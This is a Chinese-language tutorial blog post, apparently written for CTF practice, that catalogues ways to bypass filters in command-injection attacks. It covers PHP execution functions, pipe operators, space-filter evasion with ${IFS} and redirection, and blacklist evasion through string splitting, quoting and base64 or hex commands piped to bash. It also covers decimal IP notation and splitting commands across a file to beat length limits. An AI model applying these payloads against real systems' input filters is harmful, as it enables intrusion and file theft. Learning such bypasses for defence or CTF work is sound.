常见命令执行的一些绕过方式

文章目录

  • 一、命令执行
  • 二、绕过技巧
    • 1.常见管道符
    • 2. 空格过滤
    • 3. 黑名单绕过
    • 4. 绕过长度限制
    • 5. ls命令
    • 6. 各种读文件命令


一、命令执行

1. php调用外部程序常用的函数:

system()—执行shell命令也就是向dos发送一条指令。
shell_exec() — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
exec() —执行外部程序。
passthru() — 执行外部程序并且显示原始输出。
2. 造成命令执行的原因
代码过滤不严格–如使用system函数调用封装在二进制文件中的核心代码,如system("/bin/program --arg $arg");
系统的漏洞造成命令注入–bash破壳漏洞(CVE-2014-6271)
调用的第三方组件存在代码执行漏洞–WordPress(ImageMagick组件), JAVA(struts2),ThinkPHP命令执行
3.命令执行的危害
继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透

二、绕过技巧

1.常见管道符

windows:

‘|’ 直接执行后面的语句
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&’ 前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

Linux:
Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同

2. 空格过滤

<  --  重定向,如cat<flag.php
<>      --   重定向,如cat<>flag.php
%09  --  需要php环境,如cat%09flag.php
${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

3. 黑名单绕过

1,拼接

a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}{d}

2,base64编码

echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

3,hex编码

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

单引号和双引号绕过

ca''t flag 或ca""t flag
ca''t te""st.php

反斜杠绕过

ca\t fl\ag
cat te\st.php

绕过ip中的句点

网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP

数字转ip地址 ip地址转数字 域名转数字ip

4. 绕过长度限制

Linux中的>符号和>>符号>
1,通过>来创建文件

>flag.txt

2,通过>将命令结果存入文件中

echo "hello hacker" > flag.txt

3,>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

echo "hello hacker" >> flag.txt

Linux中命令换行
在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行
比如一条命令cat flag可以如下表示
常见命令执行的一些绕过方式_第1张图片
将命令一条一条输入一个文本中再执行

root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
this is your flag

5. ls命令

1. ls -a 列出文件下所有的文件,包括以“.“开头的隐藏文件(linux下文件隐藏文件是以.开头的,如果存在..代表存在着父目录)。
2. ls -l 列出文件的详细信息,如创建者,创建时间,文件的读写权限列表等等。
3. ls -F 在每一个文件的末尾加上一个字符说明该文件的类型。"@"表示符号链接、"|"表示FIFOS"/"表示目录、"="表示套接字。
4. ls -s 在每个文件的后面打印出文件的大小。 size(大小)
5. ls -t 按时间进行文件的排序 Time(时间)
6. ls -A 列出除了"."".."以外的文件。
7. ls -R 将目录下所有的子目录的文件都列出来,相当于我们编程中的“递归”实现
8. ls -L 列出文件的链接名。Link(链接)
9. ls -S 以文件的大小进行排序

6. 各种读文件命令

cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

参考博客

你可能感兴趣的:(命令执行)